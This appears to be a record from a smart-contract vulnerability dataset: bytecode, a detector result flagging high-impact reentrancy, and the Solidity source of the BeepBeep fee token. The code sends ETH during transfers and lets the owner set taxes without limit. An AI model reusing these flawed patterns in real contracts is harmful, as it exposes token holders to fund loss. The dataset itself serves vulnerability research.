c6113d2565b611357848484611400565b8061109c5761109c600e54600c55600f54600d55565b600080600061137a6114f7565b90925090506113898282611390565b9250505090565b600061119383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061153b565b600c541580156113e25750600d54155b156113e957565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061141287611569565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061144490876115c6565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114739086611608565b6001600160a01b03891660009081526002602052604090205561149581611667565b61149f84836116b1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114e491815260200190565b60405180910390a3505050505050505050565b600654600090819069152d02c7e14af68000006115148282611390565b8210156115325750506006549269152d02c7e14af680000092509050565b90939092509050565b6000818361155c5760405162461bcd60e51b81526004016106089190611a52565b5060006110d38486611b62565b60008060008060008060008060006115868a600c54600d546116d5565b925092509250600061159661136d565b905060008060006115a98e87878761172a565b919e509c509a509598509396509194505050505091939550919395565b600061119383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a2565b6000806116158385611b4a565b9050838110156111935760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610608565b600061167161136d565b9050600061167f838361177a565b3060009081526002602052604090205490915061169c9082611608565b30600090815260026020526040902055505050565b6006546116be90836115c6565b6006556007546116ce9082611608565b6007555050565b60008080806116ef60646116e9898961177a565b90611390565b9050600061170260646116e98a8961177a565b9050600061171a826117148b866115c6565b906115c6565b9992985090965090945050505050565b6000808080611739888661177a565b90506000611747888761177a565b90506000611755888861177a565b905060006117678261171486866115c6565b939b939a50919850919650505050505050565b6000826117895750600061069c565b60006117958385611b82565b9050826117a28583611b62565b146111935760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610608565b803561180481611bff565b919050565b8035801515811461180457600080fd5b60006020828403121561182a578081fd5b813561119381611bff565b600060208284031215611846578081fd5b815161119381611bff565b60008060408385031215611863578081fd5b823561186e81611bff565b9150602083013561187e81611bff565b809150509250929050565b60008060006060848603121561189d578081fd5b83356118a881611bff565b925060208401356118b881611bff565b929592945050506040919091013590565b600080604083850312156118db578182fd5b82356118e681611bff565b91506118f460208401611809565b90509250929050565b6000806040838503121561190f578182fd5b823561191a81611bff565b946020939093013593505050565b6000602080838503121561193a578182fd5b823567ffffffffffffffff80821115611951578384fd5b818501915085601f830112611964578384fd5b81358181111561197657611976611be9565b8060051b604051601f19603f8301168101818110858211171561199b5761199b611be9565b604052828152858101935084860182860187018a10156119b9578788fd5b8795505b838610156119e2576119ce816117f9565b8552600195909501949386019386016119bd565b5098975050505050505050565b600060208284031215611a00578081fd5b61119382611809565b600060208284031215611a1a578081fd5b5035919050565b60008060008060808587031215611a36578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611a7e57858101830151858201604001528201611a62565b81811115611a8f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611b295784516001600160a01b031683529383019391830191600101611b04565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b5d57611b5d611bd3565b500190565b600082611b7d57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b9c57611b9c611bd3565b500290565b600082821015611bb357611bb3611bd3565b500390565b6000600019821415611bcc57611bcc611bd3565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461088c57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205cad8a6b7c470f4f96e5e2325c6eabe323ffce0c61d429b350c6e5cbbe83f31764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,618 |
0x2eec46373b84babf821335897241323b18f93040
|
/**
*Submitted for verification at Etherscan.io on 2022-04-15
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract BeepBeep is Context, IERC20, Ownable {
using Address for address payable;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
bool public swapEnabled = true;
bool private swapping;
IRouter public router;
address public pair;
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100e12 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 public swapTokensAtAmount = 5e9 * 10**_decimals;
uint256 public maxSellAmount = 5e11 * 10**_decimals;
uint256 public maxWalletAmount = 15e11 * 10**_decimals;
address public marketingWallet = 0xA0d44A46073041E8cd442fED6802778B60c95411;
address public charityWallet = 0x391F5cfc8f9DE21ac131842cd0F744D23B50BAbD;
address public devWallet = 0xb04148F6956231c3CcA5E9B99de3329D10Ca173F;
string private constant _name = "BeepBeep";
string private constant _symbol = "BEEP";
struct Taxes {
uint256 rfi;
uint256 burn;
uint256 marketing;
uint256 charity;
uint256 dev;
}
Taxes public taxes = Taxes(2,1,3,2,2);
struct TotFeesPaidStruct{
uint256 rfi;
uint256 burn;
uint256 marketing;
uint256 charity;
uint256 dev;
}
TotFeesPaidStruct public totFeesPaid;
struct valuesFromGetValues{
uint256 rAmount;
uint256 rTransferAmount;
uint256 rRfi;
uint256 rBurn;
uint256 rMarketing;
uint256 rCharity;
uint256 rDev;
uint256 tTransferAmount;
uint256 tRfi;
uint256 tBurn;
uint256 tMarketing;
uint256 tCharity;
uint256 tDev;
}
modifier lockTheSwap {
swapping = true;
_;
swapping = false;
}
constructor (address routerAddress) {
IRouter _router = IRouter(routerAddress);
address _pair = IFactory(_router.factory())
.createPair(address(this), _router.WETH());
router = _router;
pair = _pair;
excludeFromReward(pair);
excludeFromReward(address(0xdead));
_rOwned[owner()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingWallet]=true;
_isExcludedFromFee[charityWallet] = true;
_isExcludedFromFee[devWallet] = true;
emit Transfer(address(0), owner(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferRfi) {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rAmount;
} else {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount/currentRate;
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function setTaxes(uint256 _rfi, uint256 _burn,uint256 _marketing, uint256 _charity, uint256 _dev) public onlyOwner {
taxes = Taxes(_rfi,_burn, _marketing, _charity, _dev);
}
function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
_rTotal -=rRfi;
totFeesPaid.rfi +=tRfi;
}
function _takeCharity(uint256 rCharity, uint256 tCharity) private {
totFeesPaid.charity +=tCharity;
if(_isExcluded[address(this)])
{
_tOwned[address(this)]+=tCharity;
}
_rOwned[address(this)] +=rCharity;
}
function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
totFeesPaid.marketing +=tMarketing;
if(_isExcluded[address(this)])
{
_tOwned[address(this)]+=tMarketing;
}
_rOwned[address(this)] +=rMarketing;
}
function _takeBurn(uint256 rBurn, uint256 tBurn) private {
totFeesPaid.burn +=tBurn;
if(_isExcluded[address(0xdead)])
{
_tOwned[address(0xdead)]+=tBurn;
}
_rOwned[address(0xdead)] +=rBurn;
}
function _takeDev(uint256 rDev, uint256 tDev) private {
totFeesPaid.dev +=tDev;
if(_isExcluded[address(this)])
{
_tOwned[address(this)]+=tDev;
}
_rOwned[address(this)] +=rDev;
}
function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) {
to_return = _getTValues(tAmount, takeFee);
(to_return.rAmount, to_return.rTransferAmount, to_return.rRfi, to_return.rBurn, to_return.rMarketing, to_return.rCharity, to_return.rDev) = _getRValues(to_return, tAmount, takeFee, _getRate());
return to_return;
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) {
if(!takeFee) {
s.tTransferAmount = tAmount;
return s;
}
s.tRfi = tAmount*taxes.rfi/100;
s.tBurn = tAmount*taxes.burn/100;
s.tMarketing = tAmount*taxes.marketing/100;
s.tCharity = tAmount*taxes.charity/100;
s.tDev = tAmount*taxes.dev/100;
s.tTransferAmount = tAmount-s.tRfi-s.tBurn-s.tMarketing-s.tCharity-s.tDev;
return s;
}
function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (
uint256 rAmount, uint256 rTransferAmount, uint256 rRfi,uint256 rBurn,
uint256 rMarketing, uint256 rCharity, uint256 rDev) {
rAmount = tAmount*currentRate;
if(!takeFee) {
return(rAmount, rAmount, 0,0,0,0,0);
}
rRfi = s.tRfi*currentRate;
rBurn = s.tBurn*currentRate;
rMarketing = s.tMarketing*currentRate;
rCharity = s.tCharity*currentRate;
rDev = s.tDev*currentRate;
rTransferAmount = rAmount-rRfi-rBurn-rMarketing-rCharity-rDev;
return (rAmount, rTransferAmount, rRfi,rBurn,rMarketing,rCharity,rDev);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply/tSupply;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply-_rOwned[_excluded[i]];
tSupply = tSupply-_tOwned[_excluded[i]];
}
if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from),"You are trying to transfer more than your balance");
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !swapping){
if(to == pair) require(amount <= maxSellAmount ,"Amount is exceeding maxSellAmount");
else if (to != pair) require(balanceOf(to) + amount <= maxWalletAmount, "You are exceeding maxWalletAmount");
}
bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
if(!swapping && swapEnabled && canSwap && from != pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
swapAndSendToFees(swapTokensAtAmount);
}
_tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]));
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private {
valuesFromGetValues memory s = _getValues(tAmount, takeFee);
if (_isExcluded[sender] ) { //from excluded
_tOwned[sender] = _tOwned[sender]-tAmount;
}
if (_isExcluded[recipient]) { //to excluded
_tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
}
_rOwned[sender] = _rOwned[sender]-s.rAmount;
_rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount;
if(s.rRfi > 0 || s.tRfi > 0) _reflectRfi(s.rRfi, s.tRfi);
if(s.rCharity > 0 || s.tCharity > 0) _takeCharity(s.rCharity,s.tCharity);
if(s.rMarketing > 0 || s.tMarketing > 0) _takeMarketing(s.rMarketing, s.tMarketing);
if(s.rDev > 0 || s.tDev > 0) _takeDev(s.rDev, s.tDev);
if(s.rBurn > 0 || s.tBurn > 0) {
_takeBurn(s.rBurn, s.tBurn);
emit Transfer(sender, address(0xdead), s.tBurn);
}
emit Transfer(sender, recipient, s.tTransferAmount);
emit Transfer(sender, address(this), s.tCharity + s.tDev + s.tMarketing);
}
function swapAndSendToFees(uint256 tokens) private lockTheSwap{
uint256 initialBalance = address(this).balance;
swapTokensForBNB(tokens);
uint256 tempBalance = address(this).balance - initialBalance;
uint256 totalTax = taxes.charity + taxes.marketing + taxes.dev;
uint256 marketingAmt = tempBalance * taxes.marketing / totalTax;
uint256 charityAmt = tempBalance * taxes.charity / totalTax;
uint256 devAmt = tempBalance * taxes.dev / totalTax;
if(marketingAmt > 0) payable(marketingWallet).sendValue(marketingAmt);
if(charityAmt > 0) payable(charityWallet).sendValue(charityAmt);
if(devAmt > 0) payable(devWallet).sendValue(devAmt);
}
function swapTokensForBNB(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
// make the swap
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function updateWallets(address _marketingWallet, address _charityWallet, address _devWallet) external onlyOwner{
marketingWallet = _marketingWallet;
charityWallet = _charityWallet;
devWallet = _devWallet;
}
function updateMaxSellAmount(uint256 amount) external onlyOwner{
maxSellAmount = amount * 10**_decimals;
}
function updateMaxWalletAmount(uint256 amount) external onlyOwner{
maxWalletAmount = amount * 10**_decimals;
}
function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{
swapTokensAtAmount = amount * 10**_decimals;
}
function updateSwapEnabled(bool _enabled) external onlyOwner{
swapEnabled = _enabled;
}
function updateRouterAndPair(address newRouter, address newPair) external onlyOwner{
router = IRouter(newRouter);
pair = newPair;
}
//Use this in case BNB are sent to the contract by mistake
function rescueBNB(uint256 weiAmount) external onlyOwner{
require(address(this).balance >= weiAmount, "insufficient BNB balance");
payable(msg.sender).transfer(weiAmount);
}
// Function to allow admin to claim *other* BEP20 tokens sent to this contract (by mistake)
// Owner cannot transfer out catecoin from this smart contract
function rescueAnyBEP20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
IERC20(_tokenAddr).transfer(_to, _amount);
}
receive() external payable{
}
}
|
0x6080604052600436106102555760003560e01c8063728f8eea11610139578063a8aa1b31116100b6578063dc3f0d0f1161007a578063dc3f0d0f14610777578063dd62ed3e14610797578063e2f45605146107dd578063ea2f0b37146107f3578063f2fde38b14610813578063f887ea401461083357600080fd5b8063a8aa1b31146106e1578063a9059cbb14610701578063aa4bde2814610721578063c18bc19514610737578063d257b34f1461075757600080fd5b80638ea5220f116100fd5780638ea5220f1461062d578063924de9b71461064d57806395d89b411461066d5780639ba5e4d51461069a578063a457c2d7146106c157600080fd5b8063728f8eea1461052f57806375f0a8741461057e5780637b208769146105b657806388f82020146105d65780638da5cb5b1461060f57600080fd5b8063437823ec116101d25780635342acb4116101965780635342acb4146104715780635fcefa42146104aa57806366d602ae146104ca5780636ddd1713146104e057806370a08231146104fa578063715018a61461051a57600080fd5b8063437823ec146103d1578063441b1d30146103f15780634549b0391461041157806347c230921461043157806352390c021461045157600080fd5b80632d838119116102195780632d83811914610335578063313ce567146103555780633685d41914610371578063395093511461039157806340b28c2f146103b157600080fd5b806306fdde0314610261578063095ea7b3146102a4578063147c9f6d146102d457806318160ddd146102f657806323b872dd1461031557600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b50604080518082019091526008815267042656570426565760c41b60208201525b60405161029b91906125bb565b60405180910390f35b3480156102b057600080fd5b506102c46102bf366004612625565b610859565b604051901515815260200161029b565b3480156102e057600080fd5b506102f46102ef366004612651565b610870565b005b34801561030257600080fd5b506009545b60405190815260200161029b565b34801561032157600080fd5b506102c461033036600461269c565b6108e2565b34801561034157600080fd5b506103076103503660046126dd565b610993565b34801561036157600080fd5b506040516009815260200161029b565b34801561037d57600080fd5b506102f461038c3660046126f6565b610a17565b34801561039d57600080fd5b506102c46103ac366004612625565b610bcd565b3480156103bd57600080fd5b506102f46103cc366004612713565b610c04565b3480156103dd57600080fd5b506102f46103ec3660046126f6565b610c68565b3480156103fd57600080fd5b506102f461040c3660046126dd565b610cb6565b34801561041d57600080fd5b5061030761042c36600461275a565b610d5d565b34801561043d57600080fd5b506102f461044c36600461269c565b610de7565b34801561045d57600080fd5b506102f461046c3660046126f6565b610e8a565b34801561047d57600080fd5b506102c461048c3660046126f6565b6001600160a01b031660009081526004602052604090205460ff1690565b3480156104b657600080fd5b506102f46104c536600461277f565b610fdd565b3480156104d657600080fd5b50610307600c5481565b3480156104ec57600080fd5b506007546102c49060ff1681565b34801561050657600080fd5b506103076105153660046126f6565b611045565b34801561052657600080fd5b506102f46110a4565b34801561053b57600080fd5b50601154601254601354601454601554610556949392919085565b604080519586526020860194909452928401919091526060830152608082015260a00161029b565b34801561058a57600080fd5b50600e5461059e906001600160a01b031681565b6040516001600160a01b03909116815260200161029b565b3480156105c257600080fd5b50600f5461059e906001600160a01b031681565b3480156105e257600080fd5b506102c46105f13660046126f6565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561061b57600080fd5b506000546001600160a01b031661059e565b34801561063957600080fd5b5060105461059e906001600160a01b031681565b34801561065957600080fd5b506102f46106683660046127ba565b6110da565b34801561067957600080fd5b506040805180820190915260048152630424545560e41b602082015261028e565b3480156106a657600080fd5b50601654601754601854601954601a54610556949392919085565b3480156106cd57600080fd5b506102c46106dc366004612625565b611117565b3480156106ed57600080fd5b5060085461059e906001600160a01b031681565b34801561070d57600080fd5b506102c461071c366004612625565b6111b2565b34801561072d57600080fd5b50610307600d5481565b34801561074357600080fd5b506102f46107523660046126dd565b6111bf565b34801561076357600080fd5b506102f46107723660046126dd565b611205565b34801561078357600080fd5b506102f46107923660046126dd565b61124b565b3480156107a357600080fd5b506103076107b2366004612713565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156107e957600080fd5b50610307600b5481565b3480156107ff57600080fd5b506102f461080e3660046126f6565b611291565b34801561081f57600080fd5b506102f461082e3660046126f6565b6112dc565b34801561083f57600080fd5b5060075461059e906201000090046001600160a01b031681565b6000610866338484611377565b5060015b92915050565b6000546001600160a01b031633146108a35760405162461bcd60e51b815260040161089a906127d7565b60405180910390fd5b600e80546001600160a01b039485166001600160a01b031991821617909155600f80549385169382169390931790925560108054919093169116179055565b60006108ef84848461149b565b6001600160a01b0384166000908152600360209081526040808320338452909152902054828110156109745760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161089a565b61098885336109838685612822565b611377565b506001949350505050565b6000600a548211156109fa5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161089a565b6000610a04611884565b9050610a108184612839565b9392505050565b6000546001600160a01b03163314610a415760405162461bcd60e51b815260040161089a906127d7565b6001600160a01b03811660009081526005602052604090205460ff16610aa95760405162461bcd60e51b815260206004820152601760248201527f4163636f756e74206973206e6f74206578636c75646564000000000000000000604482015260640161089a565b60005b600654811015610bc957816001600160a01b031660068281548110610ad357610ad361285b565b6000918252602090912001546001600160a01b031603610bb75760068054610afd90600190612822565b81548110610b0d57610b0d61285b565b600091825260209091200154600680546001600160a01b039092169183908110610b3957610b3961285b565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600590925220805460ff191690556006805480610b9157610b91612871565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610bc181612887565b915050610aac565b5050565b3360008181526003602090815260408083206001600160a01b038716845290915281205490916108669185906109839086906128a0565b6000546001600160a01b03163314610c2e5760405162461bcd60e51b815260040161089a906127d7565b6007805462010000600160b01b031916620100006001600160a01b0394851602179055600880546001600160a01b03191691909216179055565b6000546001600160a01b03163314610c925760405162461bcd60e51b815260040161089a906127d7565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b03163314610ce05760405162461bcd60e51b815260040161089a906127d7565b80471015610d305760405162461bcd60e51b815260206004820152601860248201527f696e73756666696369656e7420424e422062616c616e63650000000000000000604482015260640161089a565b604051339082156108fc029083906000818181858888f19350505050158015610bc9573d6000803e3d6000fd5b6000600954831115610db15760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015260640161089a565b81610dcd576000610dc38460016118a7565b51915061086a9050565b6000610dda8460016118a7565b60200151915061086a9050565b6000546001600160a01b03163314610e115760405162461bcd60e51b815260040161089a906127d7565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303816000875af1158015610e60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8491906128b8565b50505050565b6000546001600160a01b03163314610eb45760405162461bcd60e51b815260040161089a906127d7565b6001600160a01b03811660009081526005602052604090205460ff1615610f1d5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015260640161089a565b6001600160a01b03811660009081526001602052604090205415610f77576001600160a01b038116600090815260016020526040902054610f5d90610993565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600560205260408120805460ff191660019081179091556006805491820181559091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319169091179055565b6000546001600160a01b031633146110075760405162461bcd60e51b815260040161089a906127d7565b6040805160a0810182528681526020810186905290810184905260608101839052608001819052601194909455601292909255601355601455601555565b6001600160a01b03811660009081526005602052604081205460ff161561108257506001600160a01b031660009081526002602052604090205490565b6001600160a01b03821660009081526001602052604090205461086a90610993565b6000546001600160a01b031633146110ce5760405162461bcd60e51b815260040161089a906127d7565b6110d860006118f4565b565b6000546001600160a01b031633146111045760405162461bcd60e51b815260040161089a906127d7565b6007805460ff1916911515919091179055565b3360009081526003602090815260408083206001600160a01b0386168452909152812054828110156111995760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161089a565b6111a833856109838685612822565b5060019392505050565b600061086633848461149b565b6000546001600160a01b031633146111e95760405162461bcd60e51b815260040161089a906127d7565b6111f56009600a6129b9565b6111ff90826129c8565b600d5550565b6000546001600160a01b0316331461122f5760405162461bcd60e51b815260040161089a906127d7565b61123b6009600a6129b9565b61124590826129c8565b600b5550565b6000546001600160a01b031633146112755760405162461bcd60e51b815260040161089a906127d7565b6112816009600a6129b9565b61128b90826129c8565b600c5550565b6000546001600160a01b031633146112bb5760405162461bcd60e51b815260040161089a906127d7565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146113065760405162461bcd60e51b815260040161089a906127d7565b6001600160a01b03811661136b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161089a565b611374816118f4565b50565b6001600160a01b0383166113d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161089a565b6001600160a01b03821661143a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161089a565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166114ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161089a565b6001600160a01b0382166115615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161089a565b600081116115c35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161089a565b6115cc83611045565b8111156116355760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161089a565b6001600160a01b03831660009081526004602052604090205460ff1615801561167757506001600160a01b03821660009081526004602052604090205460ff16155b801561168b5750600754610100900460ff16155b1561178b576008546001600160a01b039081169083160361170757600c548111156117025760405162461bcd60e51b815260206004820152602160248201527f416d6f756e7420697320657863656564696e67206d617853656c6c416d6f756e6044820152601d60fa1b606482015260840161089a565b61178b565b6008546001600160a01b0383811691161461178b57600d548161172984611045565b61173391906128a0565b111561178b5760405162461bcd60e51b815260206004820152602160248201527f596f752061726520657863656564696e67206d617857616c6c6574416d6f756e6044820152601d60fa1b606482015260840161089a565b6000600b5461179930611045565b6007549111159150610100900460ff161580156117b8575060075460ff165b80156117c15750805b80156117db57506008546001600160a01b03858116911614155b801561180057506001600160a01b03841660009081526004602052604090205460ff16155b801561182557506001600160a01b03831660009081526004602052604090205460ff16155b1561183557611835600b54611944565b6001600160a01b038416600090815260046020526040902054610e849085908590859060ff168061187e57506001600160a01b03871660009081526004602052604090205460ff165b15611a56565b6000806000611891611da7565b90925090506118a08183612839565b9250505090565b6118af612553565b6118b98383611f2a565b90506118ce8184846118c9611884565b61203a565b60c08